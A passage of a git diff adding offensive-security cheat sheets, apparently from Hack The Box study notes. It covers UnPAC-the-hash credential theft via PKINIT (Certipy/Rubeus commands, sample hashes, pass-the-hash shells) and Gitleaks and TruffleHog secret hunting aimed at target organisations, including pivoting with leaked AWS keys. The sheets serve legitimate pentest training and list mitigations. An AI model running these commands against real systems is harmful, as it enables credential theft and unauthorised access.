material (the same tools defenders can run). +- Password-protect and short-date any exported certs; rotate on exposure. +- Enable file-access auditing on sensitive shares. + +*** + +## See Also + +- _ADCS Attack Methodology Guide · THEFT1 — Exporting Certificates and Keys · john-cheatsheet +- Sources: SpecterOps *Certified Pre-Owned*; [Seatbelt](https://github.com/GhostPack/Seatbelt) diff --git a/src/content/sheets/active-directory/theft5-ntlm-theft-via-pkinit-unpac-the-hash.md b/src/content/sheets/active-directory/theft5-ntlm-theft-via-pkinit-unpac-the-hash.md @@ -0,0 +1,120 @@ +--- +title: "THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash)" +description: "When you authenticate with a certificate via PKINIT, the KDC returns a TGT whose PAC contains the account's NTLM hash (so the account can later do NTLM…" +category: active-directory +tags: ["active-directory", "kerberos", "adcs", "ntlm", "hashing"] +tools: ["Rubeus", "Certipy", "Evil-WinRM", "faketime", "PowerShell"] +difficulty: advanced +updated: "2026-08-10" +source: "vault:ActiveDirectory/ACL-ESC-Techniques/THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash).md" +--- +# THEFT5 — NTLM Theft via PKINIT (UnPAC-the-Hash) + +## Quick Reference + +| Field | Value | +|-------|-------| +| **Category** | Credential Theft (protocol) | +| **Difficulty** | Low | +| **Pre-requisites** | Any certificate with an authentication EKU for the target account | +| **Tools** | Certipy, Rubeus, gettgtpkinit (PKINITtools) | +| **OPSEC Noise** | Low — normal Kerberos traffic | +| **One-liner** | Turn a certificate into the account's **NT hash**: authenticate via Kerberos **PKINIT**, then use **U2U** to read the NTLM hash embedded in the PAC. | + +*** + +## What Is THEFT5? + +When you authenticate with a certificate via **PKINIT**, the KDC returns a TGT whose **PAC** contains the account's **NTLM hash** (so the account can later do NTLM auth after a smart-card logon). "UnPAC-the-hash" requests a **User-to-User (U2U)** service ticket to yourself, decrypts the PAC, and reads that hash out. Net effect: a `.pfx` becomes both a TGT **and** the NT hash, with no password ever touched. "Pass-the-Certificate" is the related idea of simply using the cert to authenticate. + +```mermaid +%%{init: {'theme':'base','themeVariables':{'background':'#191724','primaryColor':'#26233a','primaryTextColor':'#e0def4','primaryBorderColor':'#c4a7e7','lineColor':'#9ccfd8','secondaryColor':'#1f1d2e','tertiaryColor':'#31748f'}}}%% +flowchart LR + P[.pfx cert] -->|PKINIT AS-REQ| T[TGT with PAC] + T -->|U2U TGS-REQ to self| U[Decrypt PAC] + U --> H[NT hash extracted] + T --> S[Shell via -k] + H --> PtH[Pass-the-Hash] +``` + +*** + +## Step 1 — Certipy (one command does it all) + +```bash +certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET +``` + +``` +[*] Using principal: administrator@domain.htb +[*] Trying to get TGT... +[*] Got TGT +[*] Saving credential cache to 'administrator.ccache' +[*] Trying to retrieve NT hash for 'administrator' +[*] Got hash for 'administrator@domain.htb': aad3b...:8da83a3fa618b6e3a00e93f676c92a6e +``` + +> [!warning] Clock skew +> PKINIT is Kerberos. On `KRB_AP_ERR_SKEW`, wrap with faketime (see faketime-cheatsheet): +> `faketime -f '+7h30m' certipy-ad auth -pfx administrator.pfx -dc-ip $TARGET` + +*** + +## Step 2 — Windows (Rubeus) + +```powershell +.\Rubeus.exe asktgt /user:administrator /certificate:administrator.pfx /getcredentials /nowrap +# /getcredentials performs the UnPAC step and prints the NT hash +``` + +*** + +## Step 3 — PKINITtools (manual, when Certipy is blocked) + +```bash +python3 gettgtpkinit.py -cert-pfx administrator.pfx domain.htb/administrator admin.ccache +export KRB5CCNAME=admin.ccache +python3 getnthash.py -key <AS-REP-key-from-above> domain.htb/administrator +``` + +*** + +## Step 4 — Spend It + +```bash +# Kerberos path (quieter) +export KRB5CCNAME=administrator.ccache +wmiexec.py -k -no-pass DC01.domain.htb + +# Pass-the-Hash path +evil-winrm -i $TARGET -u administrator -H 8da83a3fa618b6e3a00e93f676c92a6e +``` + +> [!tip] LDAP fallback (no PKINIT on the DC) +> If the DC lacks a KDC certificate, PKINIT fails. Authenticate the cert over Schannel/LDAPS instead: +> `certipy-ad auth -pfx administrator.pfx -ldap-shell -dc-ip $TARGET` + +*** + +## OPSEC Considerations + +| Action | Log | Noise | +| :-- | :-- | :-- | +| PKINIT AS-REQ | Event 4768 (TGT, cert info) on DC | 🟢 Low | +| U2U UnPAC | additional TGS request | 🟢 Low | +| Pass-the-Hash after | Event 4624 type 3/9 | 🟡 Medium | + +*** + +## Mitigation + +- Enforce `StrongCertificateBindingEnforcement = 2` so forged-SAN certs cannot ride PKINIT. +- Monitor 4768 events that include certificate information without a corresponding smart-card enrolment. +- Rotate NT hashes/reset accounts whose certs are known-compromised (revoke the cert too). + +*** + +## See Also + +- _ADCS Attack Methodology Guide · THEFT1 — Exporting Certificates and Keys · faketime-cheatsheet · Shadow Credentials — msDS-KeyCredentialLink Abuse +- Sources: SpecterOps *Certified Pre-Owned*; [PKINITtools](https://github.com/dirkjanm/PKINITtools); [The Hacker Recipes — UnPAC the hash](https://www.thehacker.recipes/ad/movement/kerberos/unpac-the-hash) diff --git a/src/content/sheets/enumeration/2-4-cheatsheet-gitleaks.md b/src/content/sheets/enumeration/2-4-cheatsheet-gitleaks.md @@ -0,0 +1,440 @@ +--- +title: "2.4 - Cheatsheet - Gitleaks" +description: "brew install gitleaks" +category: enumeration +tags: ["enumeration"] +tools: ["Gitleaks"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/GitHub-Enum/2.4 - Cheatsheet - Gitleaks.md" +--- +# macOS — Homebrew +brew install gitleaks + +# Linux — direct binary download (always check latest release) +wget https://github.com/gitleaks/gitleaks/releases/latest/download/gitleaks_8.30.1_linux_x64.tar.gz +tar -xzf gitleaks_8.30.1_linux_x64.tar.gz +mv gitleaks /usr/local/bin/ + +# Verify install +gitleaks version +# Output: +# v8.30.1 +``` + +> [!info]+ Command Breakdown +> 1. Gitleaks ships as a **single static binary** — no dependencies, no runtime needed +> 2. Always check the [releases page](https://github.com/gitleaks/gitleaks/releases) for the latest version before downloading +> 3. **v8.19.0+** deprecated `detect` and `protect` — replaced by `git`, `dir`, and `stdin` subcommands + +--- + +## Subcommands at a Glance + +| Subcommand | What It Scans | Typical Use Case | +|---|---|---| +| `git` | Git repository — full commit history | Cloned public repos, any local git repo | +| `dir` | Directories and individual files | Non-git folders, downloaded archives, local files | +| `stdin` | Piped data stream | Scanning output of another command, log files | +| `version` | N/A | Verify installed version | + +> [!warning]+ v8.19.0 Command Change +> 1. `gitleaks detect` → replaced by `gitleaks git` +> 2. `gitleaks protect` → replaced by `gitleaks git --pre-commit` / `gitleaks git --staged` +> 3. The old commands still work but are **hidden from `--help`** — don't rely on them in scripts + +--- + +## Core Scan Commands + +### Scan a Cloned Repo (Most Common — OSINT Use) + +```bash +# Clone the target repo first +git clone https://github.com/target-org/target-repo.git +cd target-repo + +# Scan the full git history — verbose output +gitleaks git -v . + +# Output example: +# ○ +# ○ +# ○ +# ○ ○ +# ○ +# +# Finding: AWS Access Key detected +# Secret: AKIAIOSFODNN7EXAMPLE +# RuleID: aws-access-key-id +# Entropy: 3.88 +# File: config/aws.py +# Line: 12 +# Commit: a3f2c1d9e8b74561... +# Author: dev@target.com +# Date: 2023-04-18T14:22:01Z +# Fingerprint: a3f2c1d9:config/aws.py:aws-access-key-id:12 +``` + +> [!info]+ Command Breakdown +> 1. **git** — subcommand that scans using `git log -p` under the hood — reads every commit diff +> 2. **-v** — verbose mode; prints each finding as it is discovered in real time +> 3. **.** — target path; current directory (must be a git repo); can be an absolute path to any git repo +> 4. **Finding** — the rule that matched +> 5. **Secret** — the actual leaked value (may be redacted with `--redact`) +> 6. **RuleID** — the specific detection rule that triggered (useful for filtering false positives) +> 7. **Entropy** — Shannon entropy score of the matched string — higher = more likely to be a real secret +> 8. **Commit** — the exact commit hash where the secret exists or existed +> 9. **Fingerprint** — unique identifier for this finding — used in `.gitleaksignore` to suppress it + +--- + +```bash +# Scan a remote repo without cloning manually +gitleaks git -v https://github.com/target-org/target-repo.git +``` + +> [!info]+ Command Breakdown +> 1. Gitleaks can accept a **remote URL** directly — it clones to a temp directory, scans, then cleans up +> 2. Faster than manual clone for quick checks — but no persistent copy of the repo +> 3. *For offensive recon, clone manually first so you can inspect files directly after gitleaks surfaces findings* + +--- + +### Scan a Specific Commit Range + +```bash +# Scan only the last 50 commits +gitleaks git -v --log-opts="-n 50" . + +# Scan between two specific commits +gitleaks git -v --log-opts="commitA..commitB" . + +# Scan all branches (not just current branch) +gitleaks git -v --log-opts="--all" . + +# Scan commits since a specific date +gitleaks git -v --log-opts="--since=2024-01-01" . + +# Combine — all branches, last 1000 commits +gitleaks git -v --log-opts="--all -n 1000" . +``` + +> [!info]+ Command Breakdown +> 1. **--log-opts** — passes options directly to `git log -p` — accepts any valid `git log` flag +> 2. **-n 50** — limits to the last 50 commits — useful for CI pipelines or quick checks +> 3. **commitA..commitB** — scans only commits between two hashes — useful for PR/MR scanning +> 4. **--all** — scans ALL branches and tags, not just the checked-out branch — critical for OSINT; devs often push secrets to feature branches they forget about +> 5. **--since=** — date filter; ISO format (`2024-01-01`) or relative (`6months`) + +> [!tip]+ OSINT Best Practice +> 1. Always run with **--log-opts="--all"** first — the current branch is rarely where secrets live +> 2. Feature branches, hotfix branches, and old release branches are where rushed, careless commits accumulate +> 3. Combine **--all** with **-n 1000** to catch the breadth without waiting on repos with 10,000+ commits + +--- + +### Scan a Directory (No Git Required) + +```bash +# Scan a directory of downloaded files +gitleaks dir -v /path/to/downloaded/files/ + +# Scan a single file +gitleaks dir -v /path/to/suspicious/file.env + +# Scan current directory +gitleaks dir -v . + +# Scan and include archives (zip, tar.gz, etc.) — disabled by default +gitleaks dir -v --max-archive-depth=3 /path/to/directory/ +``` + +> [!info]+ Command Breakdown +> 1. **dir** — scans the filesystem directly; no git history, no `git log` — just raw file contents +> 2. Useful when you have downloaded files, extracted archives, or scraped content that isn't a git repo +> 3. **--max-archive-depth=3** — tells gitleaks to open and scan inside `.zip`, `.tar.gz`, `.tar`, `.7z`, etc., up to 3 levels deep; default is 0 (disabled) +> 4. *Archive scanning is critical for buckets and file shares — secrets are often in zip archives employees assumed were "safe"* + +--- + +### Scan via stdin (Piped Input) + +```bash +# Scan a file piped through stdin +cat suspicious_config.py | gitleaks -v stdin + +# Scan output of another command +curl -s https://raw.githubusercontent.com/target-org/repo/main/config.py | gitleaks -v stdin + +# Scan an env file from a URL +curl -s https://target-bucket.s3.amazonaws.com/.env | gitleaks -v stdin +``` + +> [!info]+ Command Breakdown +> 1. **stdin** — accepts raw text piped from any source — anything that produces output can be scanned +> 2. Combine with `curl` to scan files directly from URLs **without saving them locally** +> 3. *This is the fastest way to triage a suspicious file found via GrayHatWarfare or Google Dork — pipe it straight through gitleaks* + +--- + +## Output and Reporting + +### Save Results to a File + +```bash +# JSON report (default and most useful) +gitleaks git -v . --report-path=findings.json --report-format=json + +# CSV report — easy to open in a spreadsheet +gitleaks git -v . --report-path=findings.csv --report-format=csv + +# SARIF — standard format for integration with SIEMs and security dashboards +gitleaks git -v . --report-path=findings.sarif --report-format=sarif + +# JUnit XML — for CI/CD pipeline integration +gitleaks git -v . --report-path=findings.xml --report-format=junit +``` + +> [!info]+ Command Breakdown +> 1. **--report-path** — file path to write the report to; gitleaks still prints to terminal alongside writing +> 2. **--report-format** — output format: `json` | `csv` | `junit` | `sarif` +> 3. **json** — best format for OSINT work — easy to parse with `jq`, import into tools, or read manually +> 4. **sarif** — industry-standard static analysis format — importable into GitHub Security, Burp, and SIEMs + +--- + +```bash +# Parse JSON output with jq — extract only the secret values and their files +cat findings.json | jq -r '.[] | "\(.File):\(.Line) → \(.Secret)"' + +# Output: +# config/aws.py:12 → AKIAIOSFODNN7EXAMPLE +# .env:3 → ghp_aBcDeFgHiJkLmNoPqRsTuVwXyZ123456 + +# Get a summary count of findings by rule +cat findings.json | jq 'group_by(.RuleID) | map({rule: ..RuleID, count: length}) | sort_by(-.count)' + +# Output: +# [ +# { "rule": "generic-api-key", "count": 14 }, +# { "rule": "aws-access-key-id", "count": 3 }, +# { "rule": "github-pat", "count": 1 } +# ] +``` + +> [!info]+ Command Breakdown +> 1. **jq -r '.[] | ...'** — iterates every finding in the JSON array +> 2. **\(.File):\(.Line) → \(.Secret)** — formats each finding as `filename:linenumber → secretvalue` +> 3. The **group_by + count** query gives an instant triage view — which secret types appeared most often +> 4. *Start triage with the count summary — AWS keys and GitHub PATs are the highest-value findings to investigate first* + +--- + +### Redact Secrets from Output + +```bash +# Redact actual secret values in terminal output and reports +gitleaks git -v --redact . +``` + +> [!info]+ Command Breakdown +> 1. **--redact** — replaces the actual secret value with `REDACTED` in all output +> 2. Use this when **sharing output** with a client, team, or in a report — never paste raw secrets into documents +> 3. The finding is still reported with file, line, commit, and rule — just not the actual value + +--- + +## Exit Codes + +| Exit Code | Meaning | What to Do | +|---|---|---| +| `0` | No secrets found | Clean — move on | +| `1` | Secrets detected | Review findings — escalate critical ones | +| `126` | Unknown flag or bad argument | Check your command syntax | +| `2` | Unexpected error during scan | Check file permissions or repo state | + +```bash +# Use exit code in a shell script to branch on findings +gitleaks git . --report-path=findings.json +if [ $? -eq 1 ]; then + echo "[!] Secrets found — review findings.json immediately" +fi +``` + +--- + +## Suppressing False Positives + +### Inline Ignore (Single Line) + +```bash +# In the source file — add this comment on the line with a known false positive +api_key = "test_key_not_real" # gitleaks:allow +``` + +> [!info]+ Command Breakdown +> 1. Adding `# gitleaks:allow` as a comment on the same line tells gitleaks to skip that match +> 2. Useful for **test files**, mock data, or example values that pattern-match but are not real secrets +> 3. *When scanning target repos during OSINT — if you see `gitleaks:allow` on a line, the dev was aware of gitleaks; look harder at nearby lines for real secrets they may have missed* + +--- + +### .gitleaksignore File (Persistent Suppression) + +```bash +# Step 1 — Run a scan and save a baseline +gitleaks git . --report-path=baseline.json + +# Step 2 — Create a .gitleaksignore file from known false positives +# Add the fingerprint of each false positive — one per line +echo "a3f2c1d9:config/test.py:generic-api-key:45" >> .gitleaksignore + +# Step 3 — Future scans will skip anything in .gitleaksignore +gitleaks git . --report-path=new-findings.json +``` + +> [!info]+ Command Breakdown +> 1. **Fingerprint** format: `commit_hash:file:rule_id:line` — uniquely identifies a specific finding +> 2. The fingerprint is shown in gitleaks output for every finding +> 3. *During OSINT scanning of a target repo — ignore the `.gitleaksignore` file found in the repo; it tells you exactly which findings the devs already knew about and tried to hide from gitleaks* + +--- + +### Baseline Scan (Only Report New Secrets) + +```bash +# Step 1 — Scan and save the current state as a baseline +gitleaks git . --report-path=baseline.json + +# Step 2 — Run a future scan referencing the baseline +gitleaks git . --report-path=new-findings.json --baseline-path=baseline.json + +# Only NEW findings (not in baseline) appear in new-findings.json +``` + +> [!info]+ Command Breakdown +> 1. **--baseline-path** — provides a previous report; any findings already in it are suppressed in the new report +> 2. Useful for **monitoring** a target repo over time — run weekly and only see what has changed +> 3. *Set up a cron job to scan high-value target repos weekly and alert only on new findings — a passive, ongoing intelligence feed* + +--- + +## Custom Detection Rules + +> [!tip]+ Write Rules for Target-Specific Patterns +> The default ruleset catches generic secrets. For targeted OSINT, add custom rules for company-specific patterns — internal tokens, system names discovered in job postings, or API formats unique to the target's stack. + +```toml +# custom-rules.toml +# Place this file anywhere — reference it with --config + +rules +id = "target-internal-token" +description = "Target Corp internal API token format" +regex = '''TGT-[a-zA-Z0-9]{32}''' +tags = ["api", "target-corp"] + +rules +id = "target-jwt-secret" +description = "Hardcoded JWT secret matching target's known format" +regex = '''jwt_secret\s*=\s*["'][a-zA-Z0-9+/=]{40,}["']''' +tags = ["jwt", "target-corp"] +``` + +```bash +# Use custom rules alongside the defaults +gitleaks git -v --config=custom-rules.toml . + +# Use ONLY custom rules (ignore default ruleset) +gitleaks git -v -c custom-rules.toml --no-banner . +``` + +> [!info]+ Command Breakdown +> 1. **--config / -c** — path to a custom `.toml` config file containing your own rules +> 2. Custom rules **add to** the default ruleset — they don't replace it unless you explicitly override +> 3. **regex** — standard Go regex syntax; test your patterns at [regex101.com](https://regex101.com/) with the Go flavour selected +> 4. **tags** — metadata only; useful for filtering output later with `jq` +> 5. *Build custom rules based on intelligence gathered from job postings and GitHub — if you know the company uses a custom auth token format, write a rule for it* + +--- + +## Decoded and Encoded Secret Scanning + +```bash +# Scan for secrets hidden inside Base64, URL-encoded, or other encoded strings +gitleaks git -v --max-decode-depth=5 . +``` + +> [!info]+ Command Breakdown +> 1. **--max-decode-depth** — enables recursive decoding of encoded content; default is 0 (disabled) +> 2. Gitleaks will attempt to decode Base64, URL encoding, and other common formats, then scan the decoded output +> 3. Setting depth to `5` means it will decode up to 5 layers deep (e.g., Base64 inside Base64) +> 4. *Developers sometimes Base64-encode secrets thinking it obscures them — this flag catches that anti-pattern* +> 5. *Setting a very high depth doesn't slow things down significantly — gitleaks stops as soon as there's nothing left to decode* + +--- + +## Full OSINT Workflow + +```bash +# 1. Clone the target repo +git clone https://github.com/target-org/target-repo.git +cd target-repo + +# 2. Full scan — all branches, all history, verbose, save JSON +gitleaks git -v \ + --log-opts="--all" \ + --report-path=target-repo-findings.json \ + --report-format=json \ + --max-decode-depth=3 \ + . + +# 3. Quick triage — count findings by rule type +cat target-repo-findings.json | jq 'group_by(.RuleID) | map({rule: ..RuleID, count: length}) | sort_by(-.count)' + +# 4. Extract highest-value findings — AWS keys, GitHub tokens, private keys +cat target-repo-findings.json | jq '.[] | select(.RuleID == "aws-access-key-id" or .RuleID == "github-pat" or .RuleID == "rsa-private-key") | {file: .File, line: .Line, commit: .Commit, author: .Author, date: .Date}' + +# 5. For each high-value finding, check the exact commit for context +git show <commit_hash> + +# 6. Check if the secret is still present in the current HEAD +grep -r "AKIAIOSFODNN7EXAMPLE" . +``` + +> [!info]+ Workflow Breakdown +> 1. **Step 2** — `--all` ensures all branches are included; `--max-decode-depth=3` catches encoded secrets; JSON output enables scripted triage +> 2. **Step 3** — group by RuleID first; triage by secret type, not by file — AWS keys and GitHub PATs are worth more than generic API keys +> 3. **Step 4** — `select()` filter in jq isolates the highest-priority findings immediately +> 4. **Step 5** — `git show <hash>` shows the full diff for that commit — gives context (what else changed, who committed, what the surrounding code does) +> 5. **Step 6** — `grep -r` confirms whether the secret still exists in current files or was only in history + +--- + +> [!success]+ What to Do with a Finding +> 1. **Record** the secret value, file path, commit hash, author email, and date +> 2. **Check if still active** — grep current files; if still present, it is likely live and exploitable +> 3. **Identify the service** — AWS key? Try `aws sts get-caller-identity`. GitHub PAT? Try `curl -H "Authorization: token <PAT>" https://api.github.com/user` +> 4. **Document in your report** — include rule ID, file, commit hash, author, and date discovered +> 5. **Do not use the credential** beyond confirming it is valid — exploitation beyond scope verification is out of bounds + +--- + +## References + +1. [Gitleaks GitHub Repository](https://github.com/gitleaks/gitleaks) +2. [Gitleaks Releases Page](https://github.com/gitleaks/gitleaks/releases) +3. [Gitleaks Default Rules Config (gitleaks.toml)](https://github.com/gitleaks/gitleaks/blob/master/config/gitleaks.toml) +4. [Gitleaks Playground](https://gitleaks.io/playground) +5. [v8.19.0 Command Translation Gist](https://gist.github.com/zricethezav/b325bb93ebf41b9c0b0507acf12810d2) +6. [HTB Academy - Footprinting Module](https://academy.hackthebox.com/module/details/112) +7. [Gitleaks Blog — Advanced Configuration](https://blog.gitleaks.io/stop-leaking-secrets-configuration-2-3-aeed293b1fbf) +8. [HackTricks - OSINT](https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology) +9. [MITRE ATT&CK - Search Open Technical Databases (T1596)](https://attack.mitre.org/techniques/T1596/) +10. [Source: 2.0 - Cheatsheet - Infrastructure Enumeration Tools](2.0%20-%20Cheatsheet%20-%20Infrastructure%20Enumeration%20Tools.md) +11. [Source: 2.3 - Theory Staff](2.3%20-%20Theory%20Staff.md) + +--- + +#HTB #Footprinting #OSINT #Gitleaks #SecretScanning #GitHistory #CredentialLeak #Cheatsheet #GitHub #PassiveRecon diff --git a/src/content/sheets/enumeration/2-5-cheatsheet-trufflehog.md b/src/content/sheets/enumeration/2-5-cheatsheet-trufflehog.md @@ -0,0 +1,587 @@ +--- +title: "2.5 - Cheatsheet - TruffleHog" +description: "brew install trufflehog" +category: enumeration +tags: ["enumeration"] +tools: ["Gitleaks", "TruffleHog"] +difficulty: intermediate +updated: "2026-08-10" +source: "vault:Enumeration/GitHub-Enum/2.5 - Cheatsheet - TruffleHog.md" +--- +# macOS — Homebrew +brew install trufflehog + +# Linux — install script (always fetches latest) +curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh \ + | sh -s -- -b /usr/local/bin + +# Docker (no install required — pull and run) +docker pull trufflesecurity/trufflehog:latest + +# Verify install +trufflehog --version +# Output: +# trufflehog 3.88.1 +``` + +> [!info]+ Command Breakdown +> 1. The **install script** always pulls the latest release binary — no need to track version numbers manually +> 2. **-b /usr/local/bin** — places the binary in your PATH; change to `~/bin` if you don't have sudo +> 3. The **Docker** option is useful on systems where you can't install binaries — swap any command below using `docker run --rm trufflesecurity/trufflehog:latest [subcommand]` + +--- + +## Subcommands at a Glance + +| Subcommand | What It Scans | OSINT Use Case | +|---|---|---| +| `git` | Single git repository — full commit history | Cloned public repos, any local git repo | +| `github` | Entire GitHub org or specific repo — including issues and PRs | Scan all of a company's public repos at once | +| `gitlab` | GitLab org or specific project | European/self-hosted company repos | +| `filesystem` | Local directories and files | Downloaded files, extracted archives, scraped content | +| `s3` | AWS S3 buckets | Misconfigured public buckets found via GrayHatWarfare/Dorks | +| `gcs` | Google Cloud Storage buckets | GCP-hosted company storage | +| `docker` | Docker image layers | Find secrets baked into company Docker images | +| `stdin` | Piped data stream | Scan any streamed content | +| `circleci` | CircleCI build logs | CI/CD pipeline secret exposure | +| `travisci` | Travis CI build logs | CI/CD pipeline secret exposure | +| `jenkins` | Jenkins build logs | Self-hosted CI secret exposure | +| `postman` | Postman workspaces | API collection secrets | +| `elasticsearch` | Elasticsearch indices | Database-stored secrets | + +--- + +## Understanding Results — The Verification Model + +> [!important]+ Result Types — Know These Before You Scan +> TruffleHog classifies every finding into one of four result types. Use `--results=` to control what is shown: + +| Result Type | Meaning | What to Do | +|---|---|---| +| `verified` | Secret found AND confirmed live by API call | **Highest priority** — escalate immediately | +| `unknown` | Secret found, API call inconclusive (no clear pass/fail) | Investigate manually — still worth reporting | +| `unverified` | Secret found BUT API call confirmed it is invalid/expired | Lower priority — may still be useful for password reuse | +| `filtered_unverified` | Duplicate unverified results filtered out | Noise reduction only | + +```bash +# Default — shows ALL result types (noisy but complete) +trufflehog git https://github.com/target-org/target-repo.git + +# Focused — only show confirmed live secrets (fastest triage) +trufflehog git https://github.com/target-org/target-repo.git --results=verified,unknown + +# Passive mode — no API verification calls at all (safest for engagements) +trufflehog git https://github.com/target-org/target-repo.git --no-verification +``` + +> [!info]+ Command Breakdown +> 1. **--results=verified,unknown** — the most useful filter for OSINT; catches live secrets and anything the API couldn't definitively reject +> 2. **--no-verification** — disables all outbound API calls; TruffleHog acts like a pattern matcher only; use this when you want passive-only operation during an engagement +> 3. *Start every scan with `--results=verified,unknown` — if nothing comes back, broaden to all results* + +--- + +## Exit Codes + +| Exit Code | Meaning | +|---|---| +| `0` | No errors, no results found | +| `1` | An error was encountered — scan may be incomplete | +| `183` | No errors, but **results were found** — only returned when `--fail` flag is used | + +```bash +# Use --fail to get exit code 183 on findings — useful in scripts +trufflehog git . --results=verified,unknown --fail +echo "Exit: $?" +# Exit: 183 ← secrets found +``` + +--- + +## Core Scan Commands + +### Scan a Single Git Repository + +```bash +# Scan a remote repo directly (no manual clone needed) +trufflehog git https://github.com/target-org/target-repo.git \ + --results=verified,unknown \ + --json + +# Scan a locally cloned repo +trufflehog git file:///home/user/target-repo \ + --results=verified,unknown \ + --json + +# Output example: +{ + "SourceMetadata": { + "Data": { + "Git": { + "commit": "a3f2c1d9e8b74561...", + "file": "config/settings.py", + "email": "dev@target.com", + "repository": "https://github.com/target-org/target-repo.git", + "timestamp": "2023-04-18 14:22:01 +0000", + "line": 12 + } + } + }, + "SourceID": 1, + "SourceType": 16, + "SourceName": "trufflehog - git", + "DetectorType": 2, + "DetectorName": "AWS", + "DecoderName": "PLAIN", + "Verified": true, + "Raw": "AKIAIOSFODNN7EXAMPLE", + "RawV2": "AKIAIOSFODNN7EXAMPLEwJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY", + "Redacted": "AKIAIOSFODNN7EXAMPLE", + "ExtraData": { + "account": "123456789012", + "arn": "arn:aws:iam::123456789012:user/dev", + "user_id": "AIDA..." + }, + "StructuredData": null +} +``` + +> [!info]+ Command Breakdown +> 1. **file://** — URI scheme for local paths; TruffleHog requires an explicit scheme (`https://`, `file://`, or `ssh://`) +> 2. **--json** — outputs each finding as a JSON object — one per line (NDJSON format) — essential for piping to `jq` +> 3. **Verified: true** — TruffleHog called the AWS API and confirmed this key is live +> 4. **ExtraData** — for verified AWS keys, TruffleHog returns the account ID, ARN, and user ID — you know exactly whose account was compromised without touching the infrastructure +> 5. **RawV2** — for credentials with two parts (key ID + secret), both values are shown +> 6. *The `email` field in `SourceMetadata` gives you the committer's email — direct attribution* + +--- + +### Scan a Specific Branch or Commit Depth + +```bash +# Scan a specific branch only +trufflehog git https://github.com/target-org/target-repo.git \ + --branch=develop \ + --results=verified,unknown \ + --json + +# Limit to the last N commits +trufflehog git https://github.com/target-org/target-repo.git \ + --max-depth=100 \ + --results=verified,unknown + +# Start scan from a specific commit (scan everything after this hash) +trufflehog git https://github.com/target-org/target-repo.git \ + --since-commit=a3f2c1d9e8b74561 \ + --results=verified,unknown +``` + +> [!info]+ Command Breakdown +> 1. **--branch** — restricts scan to one branch; combine with multiple runs to cover all branches +> 2. **--max-depth** — limits how many commits deep to scan from HEAD; useful for large repos where you only care about recent history +> 3. **--since-commit** — start scanning from after this commit hash; useful for delta scans (only check what changed since last run) +> 4. *Unlike Gitleaks, TruffleHog does NOT have an `--all` flag for all branches — run it per branch or use the `github` subcommand to cover all branches automatically* + +--- + +### Scan an Entire GitHub Organisation + +```bash +# Unauthenticated — public repos only (rate-limited to ~60 req/hr) +trufflehog github --org=target-org \ + --results=verified,unknown \ + --json + +# Authenticated — public + private repos (rate-limited to ~5000 req/hr) +trufflehog github --org=target-org \ + --token=ghp_YourGitHubPAThere \ + --results=verified,unknown \ + --json + +# Scan a specific repo via the github subcommand (also scans issues + PRs) +trufflehog github \ + --repo=https://github.com/target-org/target-repo \ + --issue-comments \ + --pr-comments \ + --results=verified,unknown \ + --json +``` + +> [!info]+ Command Breakdown +> 1. **--org** — scans ALL repositories belonging to the organisation — the most powerful single-command recon capability TruffleHog has over Gitleaks +> 2. **--token** — GitHub PAT; use a throwaway account's PAT for OSINT — never your real account +> 3. **--issue-comments** — scans issue comment text — devs frequently paste credentials into issue comments ("here's the key to reproduce this bug: `sk-...`") +> 4. **--pr-comments** — scans pull request comments and review threads — another common accidental paste location +> 5. *The org-level scan is the single most impactful command for OSINT — one command, every repo, all history, verified results* + +--- + +### Scan a Filesystem or Directory + +```bash +# Scan a downloaded directory +trufflehog filesystem /path/to/downloaded/files \ + --results=verified,unknown \ + --json + +# Scan a single file +trufflehog filesystem /path/to/suspicious/.env \ + --results=verified,unknown + +# Scan current directory +trufflehog filesystem . --results=verified,unknown --json + +# Scan with archive extraction (zip, tar.gz, etc.) +trufflehog filesystem /path/to/directory \ + --results=verified,unknown \ + --archive-max-depth=5 \ + --archive-max-size=100MB \ + --json +``` + +> [!info]+ Command Breakdown +> 1. **filesystem** — no git context required; scans raw file contents; useful for downloaded cloud bucket files, scraped web content, or extracted archives +> 2. **--archive-max-depth** — how many levels of nested archives to open and scan (e.g., a `.zip` inside a `.tar.gz`); default is disabled +> 3. **--archive-max-size** — caps how large an archive can be before TruffleHog skips it; prevents memory exhaustion on large files +> 4. *Pair with GrayHatWarfare — download files from public buckets, then run TruffleHog filesystem over the download folder with archive scanning enabled* + +--- + +### Scan an S3 Bucket + +```bash +# Scan a public or accessible bucket (uses ~/.aws/credentials automatically) +trufflehog s3 --bucket=target-company-assets \ + --results=verified,unknown \ + --json + +# Scan using an assumed IAM role (for cross-account scanning) +trufflehog s3 --bucket=target-bucket \ + --role-arn=arn:aws:iam::123456789012:role/ScannerRole \ + --results=verified,unknown + +# Scan ALL buckets accessible via multiple roles +trufflehog s3 \ + --role-arn=arn:aws:iam::111111111111:role/Role1 \ + --role-arn=arn:aws:iam::222222222222:role/Role2 \ + --results=verified,unknown +``` + +> [!info]+ Command Breakdown +> 1. TruffleHog uses the **AWS SDK** — it automatically picks up credentials from `~/.aws/credentials`, environment variables, or EC2 instance metadata +> 2. **--role-arn** — assume an IAM role before scanning; useful if you have a role ARN from a leaked key and want to enumerate what that role can access +> 3. Multiple **--role-arn** flags — TruffleHog scans all buckets each role has `s3:ListBucket` permissions on — one command enumerates and scans everything reachable +> 4. *If you find an AWS key via git scanning, verify it with `aws sts get-caller-identity`, then pivot: use the same key to run TruffleHog against all accessible S3 buckets* + +--- + +### Scan a Docker Image + +```bash +# Scan a public Docker image from Docker Hub +trufflehog docker --image=target-org/target-app:latest \ + --results=verified,unknown \ + --json + +# Scan a specific image by digest (for precise version targeting) +trufflehog docker --image=target-org/app@sha256:abc123... \ + --results=verified,unknown \ + --json +``` + +> [!info]+ Command Breakdown +> 1. TruffleHog scans **each layer** of the Docker image — secrets baked in during build (e.g., `RUN curl -H "Authorization: Bearer $TOKEN"`) survive in image layers even if later layers delete them +> 2. Uses Docker Hub's public API — no authentication needed for public images +> 3. **Image digest scanning** allows scanning a specific build — if a company publishes versioned images, older versions may contain secrets removed in newer builds +> 4. *Company Docker images are often on Docker Hub or GitHub Container Registry — search `docker.io/[company-name]` or 